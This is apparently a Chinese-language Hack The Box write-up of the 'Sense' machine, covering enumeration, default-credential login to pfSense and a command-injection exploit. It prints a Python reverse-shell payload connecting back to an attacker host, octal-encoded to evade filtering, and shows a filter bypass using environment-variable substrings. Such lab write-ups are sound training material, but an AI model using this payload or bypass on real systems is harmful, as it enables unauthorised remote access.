Sense-Writeup

概述 (Overview)

84307654.png

攻击链 (Kiillchain)

76177610.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • gobuster
  • exploit-db

阶段1:枚举

通过Nmap进行端口识别,发现开放了两个端口:80、443

74677618.png
nmap的脚本扫描提示存在一个漏洞

浏览器访问后跳转到 HTTPS 显示如图内容,一个登陆页面(额,以前真没见过这个),页面上并没有版本信息:

74695414.png

阶段2:利用工具

尝试简单枚举一下网站路径:
75958005.png

/tree/ 路径看着像是一个新的应用。
75972238.png
页尾发现版本信息 SilverStripe Tree Control v1.0
76005833.png

根据版本信息没有找到什么收获,跑一边大点的字典:

86143746.png

对比两个字典的结果,发现存在一个 system-users.txt 的文件,内容为一组账号和口令(口令提示为默认口令)。

82193050.png
随后在页面加载的样式链接里发现 pfsense_ng 的字符串,google后找到了该靶机所部署的服务。
82736134.png

pfSense是基于FreeBSD的开源防火墙解决方案,该发行版本可以免费安装在任意的设备上。

82836099.png

根据 .txt 文件提示的口令信息,google到了该系统的初始账号。

https://docs.netgate.com/pfsense/en/latest/usermanager/defaults.html
Username: admin
Password: pfsense

组合起来就是 rohit:pfsense

成功登录系统。

83160716.png

根据已知的系统名称及版本信息,找到了利用的 exploit:

83375398.png

阶段3:权限提升

查看该 exploit ,验证下 payload 里的页面是否存在:
83470067.png

83529509.png
OK,利用页面是存在的,接下来直接修改脚本将完整的 exploit 打印出来。
84084042.png
84102245.png

printf后的 char 对应的内容为:

# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)

payload = ""

# encode payload in octal
for char in command:
        payload += ("\\" + oct(ord(char)).lstrip("0o"))

又GET到一个可以bypass命令执行的技巧,奶思啊

70389240.png

将至将其粘贴至浏览器,发现监听的NC已经成功上线。
84139139.png

学习-利用env进行bypass命令注入

做完该题后,查看IPPSEC的视频,发现他在bypass这个命令执行时用了另外一个技巧(继续GET,向大佬学习)。

通过 `env` 命令查看定义的环境变量,接着利用变量的值进行字符串截取,利用截取的内容去bypass。

比如 `PWD=/home/kali/hackthebox/Sense`,这样在执行命令时 `find ${PWD}` 就是 `find /home/kali/hackthebox/Sense`,绕过了参数接收时含有 `/` 就不执行的情况,间接遍历了整个文件夹。

利用字符截取也可以做到,如 `${PWD:0:1}`,它的意思就是PWD开头从0起始到1位结束,也就是`/`

70959273.png

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。